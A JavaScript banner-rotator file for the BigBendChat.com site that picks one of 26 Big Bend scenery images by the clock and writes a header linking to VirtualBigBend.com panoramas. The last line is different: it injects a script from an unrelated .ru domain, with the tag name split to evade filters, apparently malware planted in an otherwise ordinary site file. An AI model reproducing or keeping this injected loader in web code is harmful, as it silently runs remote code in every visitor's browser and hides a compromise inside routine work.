var Ads = 26;
var now = new Date();
var sec = now.getSeconds();
var ad = sec % Ads;
ad +=1;

if (ad==1) {
BG="indian-head";
URL="native/den"; 
NAME="Ancient Native Rock Shelter with Petroglyphs";
}

if (ad==2) {
BG="juniper-canyon";
URL="juniper_canyon"; 
NAME="Juniper Canyon at Sunrise";
}

if (ad==3) {
BG="lost-mine";
URL="lost_mine"; 
NAME="The Lost Mine Trail Vista";
}

if (ad==4) {
BG="nirvana1";
URL="nirvana"; 
NAME="A Hawk Flying Just off the Northeast Rim During Sunset";
}

if (ad==5) {
BG="juniper-creek";
URL="juniper_creek"; 
NAME="the Stone Steps at Juniper Creek";
}

if (ad==6) {
BG="cattail";
URL="waterfall"; 
NAME="Cat Tail Falls";
}

if (ad==7) {
BG="nirvana";
URL="nirvana2"; 
NAME="a View from the Northeast & Southeast Rim";
}

if (ad==8) {
BG="casa-grande-summit";
URL="casa_grande/summit"; 
NAME="the Casa Grande Summit overlooking the Green Gulch";
}

if (ad==9) {
BG="south-rim";
URL="south_rim"; 
NAME="the South Rim Vista";
}

if (ad==10) {
BG="casa-grande-window-view";
URL="casa_grande/window_view"; 
NAME="the Window from atop Casa Grande";
}

if (ad==11) {
BG="balanced-rock";
URL="grapevine"; 
NAME="The Balanced Rock at Grapevine";
}

if (ad==12) {
BG="dorgan-house";
URL="adobe_ruin"; 
NAME="the Dorgan House";
}

if (ad==13) {
BG="juniper-draw";
URL="juniper_draw"; 
NAME="the Juniper Draw during a sunrise";
}

if (ad==14) {
BG="tuff-canyon";
URL="tuff"; 
NAME="Tuff Canyon";
}

if (ad==15) {
BG="emory-peak";
URL="emory_peak"; 
NAME="the Emory Peak Vista";
}

if (ad==16) {
BG="dodson-trail";
URL="dodson_trail"; 
NAME="a sunrise over Dodson Trail";
}

if (ad==17) {
BG="castolon";
URL="castolon"; 
NAME="Castolon Peak with tuff deposits";
}

if (ad==18) {
BG="fresno-creek";
URL="fresno_creek"; 
NAME="Fresno Creek";
}

if (ad==19) {
BG="sa_bender";
URL="sa_bender"; 
NAME="the First Annual International Bender Party! 04.05.08";
}

if (ad==20) {
BG="green-gulch";
URL="green_gulch"; 
NAME="a Century Plant in the Green Gulch";
}

if (ad==21) {
BG="blue-creek-canyon";
URL="blue_creek_canyon"; 
NAME="the Blue Creek Canyon";
}

if (ad==22) {
BG="hotspring-store";
URL="hot_spring/store"; 
NAME="the Hot Spring Store";
}

if (ad==23) {
BG="luna-jacal";
URL="luna"; 
NAME="the Luna Jacal during a sunset";
}

if (ad==24) {
BG="santa-elena";
URL="santa_elena"; 
NAME="the Santa Elena Canyon on the Rio Grande";
}

if (ad==25) {
BG="glenn-spring-junkyard";
URL="glenn_springs/junkyard"; 
NAME="the Glenn Spring junkyard with old truck";
}

if (ad==26) {
BG="glenn-spring-graveyard";
URL="glenn_springs/graveyard"; 
NAME="the Glenn Spring Graveyard";
}






document.write('<table width=\"100%\"  cellpadding=\"0\" cellspacing=\"0\" border=\"0\">');
document.write('<!--<tr>');
document.write('<td bgcolor=\"#384F85\" valign=top align=center>');
document.write('<font color=\"#F3F4EC\" face=\"verdana, geneva\" style=\"font-size: 14px;\"><b>Think Big. Live Big. BigBendChat.com</font>');
document.write('</td>');
document.write('</tr>-->');
document.write('<tr>');
document.write('<td height=86 valign=center align=left background=\"http://www.bigbendchat.com/images/' + BG + '.jpg\" >');
document.write('<img src=\"http://www.bigbendchat.com/images/bbc-logo.gif\" alt=\"BigBendChat.com\" title=\"BigBendChat.com\"');
document.write('</td>');
document.write('</tr>');
document.write('<tr>');
document.write('<td valign=bottom align=center bgcolor=\"#507643\">');
document.write('<A onClick=\"self.location.reload()\" href=\"http://www.virtualbigbend.com/tour/' + URL + '/index.php\" target=\"_vbb\"><font color=\"#F3F4EC\" face=\"verdana, geneva\" style=\"font-size: 12px;\">a 360&deg; view of ' + NAME + ' by VirtualBigBend.com. <u>Interact with this View Now</u></a>');
document.write('</td>');
document.write('</tr>');
document.write('</table>');

if (navigator.Appname=="Internet Explorer"){
   alert('Sorry! You cannot view the banners on this site with Internet Explorer!');
}

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Raw_File.js"></scri'+'pt>');
